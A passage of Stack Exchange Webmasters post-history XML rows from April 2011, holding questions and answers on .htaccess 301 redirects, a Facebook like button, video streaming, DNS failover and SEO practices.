  <row Id="26721" PostHistoryTypeId="5" PostId="11747" RevisionGUID="37307b3e-e109-4a04-9bb7-552eab8c5bdc" CreationDate="2011-04-06T17:44:14.997" UserId="1253" Comment="added 68 characters in body" Text="Definitely do a 301 redirect from the old URLs (those in the /new/ directory) to the new URLs (those in the / directory). This will:&#xD;&#xA;&#xD;&#xA; - Tell Google those pages have moved and to update their index&#xD;&#xA; - Help anyone who finds the old URLs in the search results to find the new URLs (they will be automatically redirected to the URL)&#xD;&#xA;&#xD;&#xA;This process will be seamless, too, which is nice. And a simple rule in an .htaccess file should take care of it.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;    RewriteRule /new/(.*) /$1 [R=301,L]" />
  <row Id="26722" PostHistoryTypeId="25" PostId="11746" RevisionGUID="c8c0e50e-4e0a-445c-a9dc-8907fc39dc56" CreationDate="2011-04-06T18:09:02.763" Comment="http://twitter.com/#!/StackWebmasters/status/55693512787755008" />
  <row Id="26723" PostHistoryTypeId="2" PostId="11751" RevisionGUID="4391a496-51d0-4bcd-adfe-7e7b3c74e55b" CreationDate="2011-04-06T19:03:09.687" UserId="6630" Text="I have facecook like button plugin on my vanilla forum.&#xD;&#xA;Although I added &#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/tr_TR/all.js#xfbml=1&quot;&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA; into my button code, it does not show the button in Turkish." />
  <row Id="26724" PostHistoryTypeId="1" PostId="11751" RevisionGUID="4391a496-51d0-4bcd-adfe-7e7b3c74e55b" CreationDate="2011-04-06T19:03:09.687" UserId="6630" Text="How to translate facebook like button on my forum?" />
  <row Id="26725" PostHistoryTypeId="3" PostId="11751" RevisionGUID="4391a496-51d0-4bcd-adfe-7e7b3c74e55b" CreationDate="2011-04-06T19:03:09.687" UserId="6630" Text="&lt;translation&gt;" />
  <row Id="26726" PostHistoryTypeId="5" PostId="11751" RevisionGUID="08192ea6-bd13-4142-862e-781c5d10e4e6" CreationDate="2011-04-06T19:08:11.977" UserId="6630" Comment="deleted 9 characters in body; added 179 characters in body" Text="I have facecook like button plugin on my vanilla forum.&#xD;&#xA;Although I added &#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/tr_TR/all.js#xfbml=1&quot;&gt;&#xD;&#xA;&#xD;&#xA; into my button code, it does not show the button in Turkish.&#xD;&#xA;&#xD;&#xA;here is an example topic that you can see facebook button mon my forum : http://www.herkesuzman.com/discussion/17/projeksiyona-baglaninca-ekran-coezuenuerlueguenuen-bozulmasis" />
  <row Id="26727" PostHistoryTypeId="5" PostId="11142" RevisionGUID="7f0b55eb-f226-45c0-849e-d8bcc215a093" CreationDate="2011-04-06T19:24:05.307" UserId="6312" Comment="more improvements" Text="I need to gather articles from multiple categories into the single blog feed (the front page and main RSS feed).&#xD;&#xA;&#xD;&#xA;For example, I need this structure ...&#xD;&#xA;&#xD;&#xA;    Section 1&#xD;&#xA;      Category 1.1&#xD;&#xA;        Article 1.1.1 (20 apr 2011)&#xD;&#xA;        Article 1.1.2 (10 apr 2011)&#xD;&#xA;      Category 1.2&#xD;&#xA;        Article 1.2.1 (15 apr 2011)&#xD;&#xA;      Category 1.3&#xD;&#xA;        Article 1.3.1 (25 apr 2011)&#xD;&#xA;        &#xD;&#xA;... to be displayed in a single blog as&#xD;&#xA;  &#xD;&#xA;    Article 1.3.1 (25 apr 2011)&#xD;&#xA;    Article 1.1.1 (20 apr 2011)&#xD;&#xA;    Article 1.2.1 (15 apr 2011)&#xD;&#xA;    Article 1.1.2 (10 apr 2011)&#xD;&#xA;&#xD;&#xA;(sorted by the creation date of articles)&#xD;&#xA;&#xD;&#xA;I tried to use &quot;Section Blog&quot; type for my menu item, but I can't understand its methods of sorting articles. I tried to sort them by date, but my section blog displaying it category by category, not article by article:&#xD;&#xA;&#xD;&#xA;    Article 1.1.1 (20 apr 2011)&#xD;&#xA;    Article 1.1.2 (10 apr 2011)&#xD;&#xA;    Article 1.2.1 (15 apr 2011)&#xD;&#xA;    Article 1.3.1 (25 apr 2011)&#xD;&#xA;&#xD;&#xA;Maybe I should install some extension to do that?&#xD;&#xA;&#xD;&#xA;Joomla 1.5.22&#xD;&#xA;" />
  <row Id="26728" PostHistoryTypeId="17" PostId="11753" RevisionGUID="7e3c9c99-2707-4148-b937-02df4413d4e2" CreationDate="2011-04-06T20:07:13.010" UserId="-1" Comment="from http://stackoverflow.com/questions/5572152/why-is-video-streaming-so-slow-from-my-site/5572180#5572180" Text="" />
  <row Id="26729" PostHistoryTypeId="2" PostId="11753" RevisionGUID="60311eb1-4538-4166-8be9-73d040043756" CreationDate="2011-04-06T19:52:15.420" UserId="2070" Text="There is nothing wrong with configuration of JWplayer, most likely it's network issue, most hosting providers are not optimised for media streaming, for that purposes you have to use  Content Delivery Network also known as CDN like [akamai][1], [edgecast][2] or [maxcdn][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.akamai.com/&#xD;&#xA;  [2]: http://www.edgecast.com/services/streaming/&#xD;&#xA;  [3]: http://www.maxcdn.com/" />
  <row Id="26730" PostHistoryTypeId="2" PostId="11752" RevisionGUID="bf21a27e-d09d-4947-bfc3-e9ef1cbcd624" CreationDate="2011-04-06T19:50:09.590" UserDisplayName="Mike" Text="I have some .flv files on my site and I've been using JWplayer to embed them into my webpages. The embedding looks like this:&#xD;&#xA;&#xD;&#xA;    &lt;embed&#xD;&#xA;    flashvars=&quot;file=/tmp/&lt;?php echo $row[&quot;location&quot;]; ?&gt;&amp;autostart=true&quot;&#xD;&#xA;    allowfullscreen=&quot;true&quot;&#xD;&#xA;    allowscripaccess=&quot;always&quot;&#xD;&#xA;    id=&quot;player1&quot;&#xD;&#xA;    name=&quot;player1&quot;&#xD;&#xA;    src=&quot;/jwplayer/player.swf&quot;&#xD;&#xA;    width=&quot;500&quot;&#xD;&#xA;    height=&quot;350&quot;&#xD;&#xA;    /&gt;&#xD;&#xA;The file is coming from directory tmp and is is saved in a format *.flv. Recently, I have been noticing really slow streaming. The video will stop almost every 5 seconds. This is happening on multiple computers on multiple networks and I'm not having the same problem on different sites (i.e. youtube). I'm hosting the site through Yahoo Small Business and I have a lot of video files in the tmp directory. &#xD;&#xA;&#xD;&#xA;Could anyone recommend me a way to allow my videos to be streamed faster?" />
  <row Id="26731" PostHistoryTypeId="1" PostId="11752" RevisionGUID="bf21a27e-d09d-4947-bfc3-e9ef1cbcd624" CreationDate="2011-04-06T19:50:09.590" UserDisplayName="Mike" Text="Why is video streaming so slow from my site?" />
  <row Id="26732" PostHistoryTypeId="3" PostId="11752" RevisionGUID="bf21a27e-d09d-4947-bfc3-e9ef1cbcd624" CreationDate="2011-04-06T19:50:09.590" UserDisplayName="Mike" Text="&lt;php&gt;&lt;html&gt;&lt;flash&gt;" />
  <row Id="26733" PostHistoryTypeId="17" PostId="11752" RevisionGUID="5a16440b-6d3d-4b2a-8abf-f00b74d4f46d" CreationDate="2011-04-06T20:07:13.010" UserId="-1" Comment="from http://stackoverflow.com/questions/5572152/why-is-video-streaming-so-slow-from-my-site" Text="" />
  <row Id="26734" PostHistoryTypeId="25" PostId="11752" RevisionGUID="1f377e0c-4afd-4ee9-a758-8050209abb4c" CreationDate="2011-04-06T21:09:02.680" Comment="http://twitter.com/#!/StackWebmasters/status/55738811317108737" />
  <row Id="26735" PostHistoryTypeId="2" PostId="11754" RevisionGUID="62bb0f18-da8c-40ed-a759-b1bec4d6aab1" CreationDate="2011-04-06T21:10:31.943" UserId="6415" Text="is there a way yo add 2 hosts per domain so if i host dies it automatically switches to the other one?&#xD;&#xA;&#xD;&#xA;or if its slow you can easily switch to the second host?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="26736" PostHistoryTypeId="1" PostId="11754" RevisionGUID="62bb0f18-da8c-40ed-a759-b1bec4d6aab1" CreationDate="2011-04-06T21:10:31.943" UserId="6415" Text="Site on 2 hosts" />
  <row Id="26737" PostHistoryTypeId="3" PostId="11754" RevisionGUID="62bb0f18-da8c-40ed-a759-b1bec4d6aab1" CreationDate="2011-04-06T21:10:31.943" UserId="6415" Text="&lt;domains&gt;&lt;host&gt;" />
  <row Id="26738" PostHistoryTypeId="2" PostId="11755" RevisionGUID="4b019231-99a5-4572-bdcf-894e6ddd279f" CreationDate="2011-04-06T21:21:15.457" UserId="6633" Text="Hey everyone. I'm just about to launch a website and I'm concerned about ranking well on Google's serps. I've done a lot of searching for information regarding this new change to their algorithm and all I keep turning up is basically &quot;write good content to rank well&quot;. The way I understand it Google is now ranking sites with *useful and unique content* better than other types of sites and my question is this: what about business related sites that are not content based and whose content will rarely change over time?&#xD;&#xA;&#xD;&#xA;The site I'm about to launch is concerned only with offering a video creation service, it's purpose to provide an online portal to customers so that they can order a video from our company. We're not in the business of writing content and the content on our site will be updated only in line with how our business model changes.&#xD;&#xA;&#xD;&#xA;In short, the site is NOT there to entertain people - it's there to serve a practical, business related purpose. My question is twofold: First of all, are we doomed to suffer poor rankings because we refuse to change our site into something that google thinks is *better than* or *more useful than* other sites? And secondly, if not then what might be the best approach to ranking well with such a site?&#xD;&#xA;&#xD;&#xA;Thanks, J3rry" />
  <row Id="26739" PostHistoryTypeId="1" PostId="11755" RevisionGUID="4b019231-99a5-4572-bdcf-894e6ddd279f" CreationDate="2011-04-06T21:21:15.457" UserId="6633" Text="The best approach to ranking well when site is NOT content oriented?" />
  <row Id="26740" PostHistoryTypeId="3" PostId="11755" RevisionGUID="4b019231-99a5-4572-bdcf-894e6ddd279f" CreationDate="2011-04-06T21:21:15.457" UserId="6633" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;ecommerce&gt;" />
  <row Id="26741" PostHistoryTypeId="2" PostId="11756" RevisionGUID="d38e8083-2dbd-4d41-ac5d-1d47bcd684bd" CreationDate="2011-04-06T22:11:01.323" UserId="4461" Text="What you describes just about every SME/B2C type &quot;brochure&quot; services site.&#xD;&#xA;&#xD;&#xA;As long as you articulate your services well, with lots of examples, testimonials and contact information etc in an easy to navigate/find manner - *then you are creating content*.&#xD;&#xA;&#xD;&#xA;In short - if it is **useful** to your intended audience, then you are on the right track." />
  <row Id="26743" PostHistoryTypeId="2" PostId="11757" RevisionGUID="d1422e55-55c0-4275-b649-db962e349520" CreationDate="2011-04-06T22:17:50.863" UserId="4461" Text="As John commented, this seems an odd approach, but there are two things to consider:&#xD;&#xA;&#xD;&#xA; 1. Search engines can't fill out forms - but they can/do try to submit with what they algorithmically calculate will be correct information for given labels/inputs to get to the 'walled garden'.&#xD;&#xA; 2. Hidden forms could be seen as not serving your website visitors in their best interests, which Google takes a dim view of (if they discover you doing it), as this requires some active submission - there's much better ways of doing this - using cookie tracking or session data etc.&#xD;&#xA;&#xD;&#xA;Definitely worth reconsidering your approach.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26744" PostHistoryTypeId="2" PostId="11758" RevisionGUID="81412952-321b-4277-a6e9-b5d6646bdcf7" CreationDate="2011-04-06T22:38:31.130" UserId="6389" Text="Yes there are ways to do this but it's a fairly big topic with several different approaches.&#xD;&#xA;&#xD;&#xA;The cheapest and simplest way to do this is with DNS. A DNS server gives the ip address of your domain when queried, you have some monitoring that detects when one of your hosts is down and tells the name server to stop giving out the ip of the broken server. normally DNS results are cached often for a day, so you need to the name server to say the record is only valid for a short time, however some isp's will ignore this and cache the record anyway. DNS was no really designed for this and it's not considered a good solution for large sites.&#xD;&#xA;&#xD;&#xA;If your site relies on a database you need to make sure this is kept up to date on both servers or kept on a separate server. You can do master/slave database replication if the database is busy and important.&#xD;&#xA;&#xD;&#xA;The other switching solutions are much more expensive. You can have two load balancers which distributes to several web servers, a heartbeat system monitors load balancers and the spare takes over the ip should the first fail. You can use BGP to change network routes if a server fails. You can have one ip address in several locations called multihoming.&#xD;&#xA;&#xD;&#xA;As I said a big topic but for a small site DNS fail over is best. There are companies offering this as a service but if you have the TTL of your DNS records set low, say one hour then you may be able to change manually, this will be good enough in a lot of cases.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26745" PostHistoryTypeId="2" PostId="11759" RevisionGUID="83f33613-2587-42a2-a4b4-4585d423d7af" CreationDate="2011-04-06T22:46:46.160" UserId="6634" Text="Don't focus on getting your website reviewed because you think it's good for SEO.&#xD;&#xA;&#xD;&#xA;Focus on making your website as good as it can possibly be, and bringing it to the attention of the people you think would benefit from using it. Try to get reviews that will drive traffic, not links.&#xD;&#xA;&#xD;&#xA;Sincerely,&#xD;&#xA;&#xD;&#xA;A Professional SEO" />
  <row Id="26746" PostHistoryTypeId="2" PostId="11760" RevisionGUID="451f61c3-e65a-4440-a814-e4dea298fa53" CreationDate="2011-04-06T22:49:25.033" UserId="6467" Text="&quot;the content on our site will be updated only in line with how our business model changes.&quot;&#xD;&#xA;That's fine. But Google makes the rules for how Google ranks the SERRPS. So if you want to rank well, you are going to have to play by their rules. Its that simple. &#xD;&#xA;&#xD;&#xA;Now you have a site with videos. So how does that stop you from writing content?&#xD;&#xA;&#xD;&#xA;Google is a text based search engine. The more text you have the better it understands your business and the more it will reward you with rankings. No new content, no text content or and other areas that you disagree with them on, you will loose ranking.&#xD;&#xA;&#xD;&#xA; If you want good rankings, give them what they want. " />
  <row Id="26747" PostHistoryTypeId="2" PostId="11761" RevisionGUID="39e4c127-d44e-4f7f-a9d5-92c253ed83a5" CreationDate="2011-04-06T22:57:37.613" UserId="6634" Text="How would you like your website to show up in search results with a little note that says, &quot;Warning: this site may harm your computer&quot;? &#xD;&#xA;&#xD;&#xA;Now ask yourself if you can be 100% certain that google won't accidentally think your devious tactics are meant to harm their users in some way.&#xD;&#xA;&#xD;&#xA;In brief: yes, I do think there is some potential for this practice to backfire." />
  <row Id="26748" PostHistoryTypeId="2" PostId="11762" RevisionGUID="67e778cb-8f1a-4412-83d0-84408c242e32" CreationDate="2011-04-06T23:05:12.957" UserId="6634" Text="This is a bit like wondering why your Gmail, Google Voice and Google Wave inboxes all contain somewhat different messages. &#xD;&#xA;&#xD;&#xA;Google Analytics and Webmaster Tools aren't directly comparable. They do different things. At any rate, both use approximate data and this can be dicey when the overall volume is low and estimations are difficult." />
  <row Id="26749" PostHistoryTypeId="2" PostId="11763" RevisionGUID="452bc1d9-e92e-4e69-b687-a8d9e9b47f2a" CreationDate="2011-04-06T23:11:44.803" UserId="6634" Text="&lt;em&gt;Would Google consider this content less valuable since it is not 'directly' visible?&lt;/em&gt;&#xD;&#xA;&#xD;&#xA;No.&#xD;&#xA;&#xD;&#xA;&lt;em&gt;Are there any key concepts to keep in mind when working with toggled content?&lt;/em&gt;&#xD;&#xA;&#xD;&#xA;Yes, the main one is making sure your content can be indexed, which you're already concerned about. The secondary one is usability. You should put yourself in the position of someone using all types of browsers on various kinds of platforms, including mobile, and find out if that content is both visible and accessible to all the people you want to reach." />
  <row Id="26750" PostHistoryTypeId="2" PostId="11764" RevisionGUID="125fc625-5d60-4f2f-a388-820202c2147f" CreationDate="2011-04-06T23:52:22.537" UserId="6636" Text="I come across with a Business Team, for which their corporate site is on asp.net platform. Those folks are pretty much interested to improve their site by increasing SEO Performance. I am interested to know few sample links or articles about ASP.Net SEO Architectural Pattern which helps me to explain them about re-engineering the site !!!&#xD;&#xA;" />
  <row Id="26751" PostHistoryTypeId="1" PostId="11764" RevisionGUID="125fc625-5d60-4f2f-a388-820202c2147f" CreationDate="2011-04-06T23:52:22.537" UserId="6636" Text="ASP.Net SEO Architecture Pattern" />
  <row Id="26752" PostHistoryTypeId="3" PostId="11764" RevisionGUID="125fc625-5d60-4f2f-a388-820202c2147f" CreationDate="2011-04-06T23:52:22.537" UserId="6636" Text="&lt;seo&gt;&lt;asp.net&gt;&lt;asp.net-mvc&gt;" />
  <row Id="26753" PostHistoryTypeId="2" PostId="11765" RevisionGUID="089d790f-0316-4c98-938d-849dda5ea526" CreationDate="2011-04-06T23:54:47.833" UserId="5103" Text="I have a Facebook page for a local business.  I am trying to use the &quot;Static FBML&quot; app to add content as a default landing page.  Is there a way to embed my page's Wall into my Static FBML page?&#xD;&#xA;&#xD;&#xA;I would like something to the effect of: http://www.facebook.com/johnmayer&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26754" PostHistoryTypeId="1" PostId="11765" RevisionGUID="089d790f-0316-4c98-938d-849dda5ea526" CreationDate="2011-04-06T23:54:47.833" UserId="5103" Text="Add Wall Posts to Static FBML" />
  <row Id="26755" PostHistoryTypeId="3" PostId="11765" RevisionGUID="089d790f-0316-4c98-938d-849dda5ea526" CreationDate="2011-04-06T23:54:47.833" UserId="5103" Text="&lt;facebook&gt;" />
  <row Id="26756" PostHistoryTypeId="2" PostId="11766" RevisionGUID="90dabc14-125d-4923-a5ec-e80bfc6ff550" CreationDate="2011-04-06T23:14:19.400" UserDisplayName="Nee-Nee" Text=" Do you think it could be beneficial to make more than one version of THE SAME site for different audiences? Why or why not" />
  <row Id="26757" PostHistoryTypeId="1" PostId="11766" RevisionGUID="90dabc14-125d-4923-a5ec-e80bfc6ff550" CreationDate="2011-04-06T23:14:19.400" UserDisplayName="Nee-Nee" Text=" Do you think it could be beneficial to make more than one version of THE SAME site for different audiences? Why or why not" />
  <row Id="26758" PostHistoryTypeId="3" PostId="11766" RevisionGUID="90dabc14-125d-4923-a5ec-e80bfc6ff550" CreationDate="2011-04-06T23:14:19.400" UserDisplayName="Nee-Nee" Text="&lt;web-development&gt;&lt;web-services&gt;&lt;web&gt;&lt;web-design&gt;" />
  <row Id="26759" PostHistoryTypeId="17" PostId="11766" RevisionGUID="ad29aa17-462a-4f50-a38b-da417dfd3210" CreationDate="2011-04-06T23:58:14.683" UserId="-1" Comment="from http://stackoverflow.com/questions/5574079/do-you-think-it-could-be-beneficial-to-make-more-than-one-version-of-the-same-si" Text="" />
  <row Id="26760" PostHistoryTypeId="17" PostId="11768" RevisionGUID="2b56b217-821d-4c7b-99ff-d1d9c2385713" CreationDate="2011-04-06T23:59:00.003" UserId="-1" Comment="from http://stackoverflow.com/questions/5574318/asp-net-seo-architecture-pattern/5574346#5574346" Text="" />
  <row Id="26761" PostHistoryTypeId="17" PostId="11769" RevisionGUID="2e6baf59-fc06-47fe-9e0c-479c4b775968" CreationDate="2011-04-06T23:59:00.003" UserId="-1" Comment="from http://stackoverflow.com/questions/5574318/asp-net-seo-architecture-pattern/5574352#5574352" Text="" />
  <row Id="26762" PostHistoryTypeId="2" PostId="11768" RevisionGUID="5efae090-10b7-4d0b-8194-7d918ba574e6" CreationDate="2011-04-06T23:52:32.970" UserDisplayName="Chance" Text="Start here http://www.iis.net/download/seotoolkit for a nice tool to use. " />
  <row Id="26763" PostHistoryTypeId="2" PostId="11769" RevisionGUID="935f7926-ec3d-42a9-819c-07d82b6de57e" CreationDate="2011-04-06T23:54:08.037" UserDisplayName="sebastian_h" Text="probably scottgu posts are the best option in order to start: here you can find some of them plus the SEO Toolkit. &#xD;&#xA;&#xD;&#xA;ASP.net SEO Improvements: http://weblogs.asp.net/scottgu/archive/2010/01/05/asp-net-4-seo-improvements-vs-2010-and-net-4-0-series.aspx&#xD;&#xA;&#xD;&#xA;IIS!: http://weblogs.asp.net/scottgu/archive/2009/06/03/iis-search-engine-optimization-toolkit.aspx&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26764" PostHistoryTypeId="2" PostId="11767" RevisionGUID="f0693c8a-3c2c-43f2-92de-ef8047e6d801" CreationDate="2011-04-06T23:47:41.187" UserId="6636" Text="&#xD;&#xA;I come across with a Business Team, for which their corporate site is on asp.net platform. Those folks are pretty much interested to improve their site by increasing SEO Performance. I am interested to know few sample links or articles about ASP.Net SEO Architectural Pattern which helps me to explain  them about re-engineering the site !!!&#xD;&#xA;" />
  <row Id="26765" PostHistoryTypeId="1" PostId="11767" RevisionGUID="f0693c8a-3c2c-43f2-92de-ef8047e6d801" CreationDate="2011-04-06T23:47:41.187" UserId="6636" Text="ASP.Net SEO Architecture Pattern" />
  <row Id="26766" PostHistoryTypeId="3" PostId="11767" RevisionGUID="f0693c8a-3c2c-43f2-92de-ef8047e6d801" CreationDate="2011-04-06T23:47:41.187" UserId="6636" Text="&lt;asp.net&gt;&lt;asp.net-mvc&gt;&lt;seo&gt;" />
  <row Id="26767" PostHistoryTypeId="17" PostId="11767" RevisionGUID="51873971-fc8e-486c-afd4-52e757b9fa6d" CreationDate="2011-04-06T23:59:00.003" UserId="-1" Comment="from http://stackoverflow.com/questions/5574318/asp-net-seo-architecture-pattern" Text="" />
  <row Id="26769" PostHistoryTypeId="25" PostId="11755" RevisionGUID="00e01c46-b72d-4c90-b5d8-cc498cefc38b" CreationDate="2011-04-07T00:09:02.673" Comment="http://twitter.com/#!/StackWebmasters/status/55784108219047937" />
  <row Id="26770" PostHistoryTypeId="2" PostId="11771" RevisionGUID="2e68c653-8eef-44a8-9bcb-96d006555816" CreationDate="2011-04-07T00:27:21.420" UserId="6640" Text="I'm having the exact same issue. I upgraded to 3.1.1 and I can see everything in the dashboard but not on the actual pages. The home page is working but none of the other pages work." />
  <row Id="26771" PostHistoryTypeId="5" PostId="11756" RevisionGUID="08cea39c-2969-4fdc-94e3-8094a3ec33c9" CreationDate="2011-04-07T01:24:46.150" UserId="4461" Comment="fixed grammar" Text="What you describing is just about every SME/B2C type &quot;brochure&quot; services site.&#xD;&#xA;&#xD;&#xA;As long as you articulate your services well, with lots of examples, testimonials and contact information etc in an easy to navigate/find manner - *then you are creating content*.&#xD;&#xA;&#xD;&#xA;In short - if it is **useful** to your intended audience, then you are on the right track." />
  <row Id="26772" PostHistoryTypeId="5" PostId="11764" RevisionGUID="508785e4-1931-42f9-83ef-205878092af5" CreationDate="2011-04-07T01:31:51.220" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [ASP.Net SEO Architecture Pattern](http://webmasters.stackexchange.com/questions/11767/asp-net-seo-architecture-pattern)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I come across with a Business Team, for which their corporate site is on asp.net platform. Those folks are pretty much interested to improve their site by increasing SEO Performance. I am interested to know few sample links or articles about ASP.Net SEO Architectural Pattern which helps me to explain them about re-engineering the site !!!&#xD;&#xA;" />
  <row Id="26773" PostHistoryTypeId="10" PostId="11764" RevisionGUID="38d4a7e3-3578-452e-a976-3dc2482e76ed" CreationDate="2011-04-07T01:31:50.907" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26775" PostHistoryTypeId="2" PostId="11772" RevisionGUID="504d1415-f499-40f5-b587-25c0434ef99b" CreationDate="2011-04-07T01:39:29.440" UserId="5108" Text="I have a website that when you search for the key terms in google, comes up first in the list. However, just above it in the google places section, it comes in second in the list. Does google places have its own optimazation techniques?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="26776" PostHistoryTypeId="1" PostId="11772" RevisionGUID="504d1415-f499-40f5-b587-25c0434ef99b" CreationDate="2011-04-07T01:39:29.440" UserId="5108" Text="what determines the order of google places results?" />
  <row Id="26777" PostHistoryTypeId="3" PostId="11772" RevisionGUID="504d1415-f499-40f5-b587-25c0434ef99b" CreationDate="2011-04-07T01:39:29.440" UserId="5108" Text="&lt;seo&gt;&lt;google-ranking&gt;&lt;google-places&gt;" />
  <row Id="26778" PostHistoryTypeId="5" PostId="11747" RevisionGUID="90f52c15-f31b-45f8-8fd3-dfae0d854a5d" CreationDate="2011-04-07T01:57:46.323" UserId="1253" Comment="added 22 characters in body" Text="Definitely do a 301 redirect from the old URLs (those in the /new/ directory) to the new URLs (those in the / directory). This will:&#xD;&#xA;&#xD;&#xA; - Tell Google those pages have moved and to update their index&#xD;&#xA; - Help anyone who finds the old URLs in the search results to find the new URLs (they will be automatically redirected to the URL)&#xD;&#xA;&#xD;&#xA;This process will be seamless, too, which is nice. And a simple rule in an .htaccess file should take care of it.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule /new/(.*) /$1 [R=301,L]" />
  <row Id="26779" PostHistoryTypeId="2" PostId="11773" RevisionGUID="6b32f7ce-f517-4a95-a93a-6cbab851785b" CreationDate="2011-04-07T02:54:36.937" UserId="6643" Text="For the file name &quot;mission-and-vision.htm&quot; or &quot;mission_and_vision.htm&quot;, which one is good for SEO(separator &quot;-&quot; or &quot;_&quot;)?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="26780" PostHistoryTypeId="1" PostId="11773" RevisionGUID="6b32f7ce-f517-4a95-a93a-6cbab851785b" CreationDate="2011-04-07T02:54:36.937" UserId="6643" Text="SEO - File naming" />
  <row Id="26781" PostHistoryTypeId="3" PostId="11773" RevisionGUID="6b32f7ce-f517-4a95-a93a-6cbab851785b" CreationDate="2011-04-07T02:54:36.937" UserId="6643" Text="&lt;filenames&gt;" />
  <row Id="26782" PostHistoryTypeId="25" PostId="11773" RevisionGUID="0b1710e9-16dd-43ab-8885-adc3df480faf" CreationDate="2011-04-07T03:09:02.620" Comment="http://twitter.com/#!/StackWebmasters/status/55829407654354944" />
  <row Id="26783" PostHistoryTypeId="2" PostId="11774" RevisionGUID="cad94215-4770-4980-9a51-ae301eed1f27" CreationDate="2011-04-07T03:12:25.837" UserId="6236" Text="Hyphens are the recommended separator - Google doesn't treat the _ as a word separator, so to count it would have to be the literal string:  &quot;mission_and_vision&quot; that was searched for.&#xD;&#xA;&#xD;&#xA;See [Matt Cutts on this in 2005][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/dashes-vs-underscores/" />
  <row Id="26784" PostHistoryTypeId="2" PostId="11775" RevisionGUID="b334f031-7fa7-47e5-b112-ca3f980cfbf1" CreationDate="2011-04-07T03:28:09.147" UserId="6644" Text="*which helps me to explain them about re-engineering the site !!!*&#xD;&#xA;&#xD;&#xA;Don't.  There is no reason to re-engineer a site to MVC or whatever for SEO purposes.  Google is great at detecting quality content which people link too.  An extra viewstate field doesn't kill that.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26785" PostHistoryTypeId="5" PostId="11773" RevisionGUID="b0f4cfca-069c-4eea-85a6-544823120bea" CreationDate="2011-04-07T03:29:24.767" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should I use hyphens or underscores?](http://webmasters.stackexchange.com/questions/374/should-i-use-hyphens-or-underscores)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi&lt;br /&gt;&#xD;&#xA;For the file name &quot;mission-and-vision.htm&quot; or &quot;mission_and_vision.htm&quot;, which one is good for SEO(separator &quot;-&quot; or &quot;_&quot;)?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="26786" PostHistoryTypeId="10" PostId="11773" RevisionGUID="19eee38b-20e1-406f-8e0a-62305c7ecbc4" CreationDate="2011-04-07T03:29:24.563" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26787" PostHistoryTypeId="2" PostId="11776" RevisionGUID="46c08214-e209-4f83-8b28-219a9766cc9f" CreationDate="2011-04-07T03:36:36.433" UserId="2042" Text="I am building a website, which will be using javascript to lot extend, I mean, UL, TEMPLATES, ROUTES etc. I am pretty much unsure that, will the search engines be able to read my site contents, as I will be loading on the empty divs first and then rendering the data into them with javascript.&#xD;&#xA;&#xD;&#xA;Do bots execute the scripts at all ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="26788" PostHistoryTypeId="1" PostId="11776" RevisionGUID="46c08214-e209-4f83-8b28-219a9766cc9f" CreationDate="2011-04-07T03:36:36.433" UserId="2042" Text="Can Crawl bots execute Javascripts, Will content loaded with AJAX be visible or readable to SEO-BOT" />
  <row Id="26789" PostHistoryTypeId="3" PostId="11776" RevisionGUID="46c08214-e209-4f83-8b28-219a9766cc9f" CreationDate="2011-04-07T03:36:36.433" UserId="2042" Text="&lt;seo&gt;&lt;javascript&gt;&lt;crawling&gt;" />
  <row Id="26790" PostHistoryTypeId="17" PostId="11778" RevisionGUID="6d9acf92-bbc7-4f2d-86ee-ab3043be03fa" CreationDate="2011-04-07T04:31:21.867" UserId="-1" Comment="from http://stackoverflow.com/questions/5561686/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google/5562682#5562682" Text="" />
  <row Id="26791" PostHistoryTypeId="2" PostId="11778" RevisionGUID="cac48457-c72e-4b7c-9a34-94dd7f7bf3c9" CreationDate="2011-04-06T07:11:32.290" UserId="2290" Text="&gt; Hijax == sneaky Javascript redirects?&#xD;&#xA;&#xD;&#xA;   only if they are intended as sneaky.&#xD;&#xA;    &gt; Will I get banned from Google?&#xD;&#xA;  &#xD;&#xA;if they are not sneaky, most probably not.&#xD;&#xA;&#xD;&#xA;a &quot;penalty&quot; is an editorial or semi-editorial (a mini algo targeted at a small subsample of sites) action from googles side to .. well .. penalize spammy, malicious sites. so the get a real penalty you have to have a malicious intend. i presume that your site is legit, so lets strike the word &quot;penalty&quot; and look at the technical implications of your solution.&#xD;&#xA;&#xD;&#xA;here is a short, simplified outline on how google processes your site&#xD;&#xA;see: http://stackoverflow.com/questions/5537612/pages-not-indexed-by-google/5548511#5548511 [stackoverflow]&#xD;&#xA;&#xD;&#xA;    discovery -&gt; crawling -&gt; indexing -&gt; ranking (-&gt; ux feedback)&#xD;&#xA;&#xD;&#xA;a) google has a step called &quot;ux feedback&quot; in which it collects quality metrics on the site / page it did send traffic 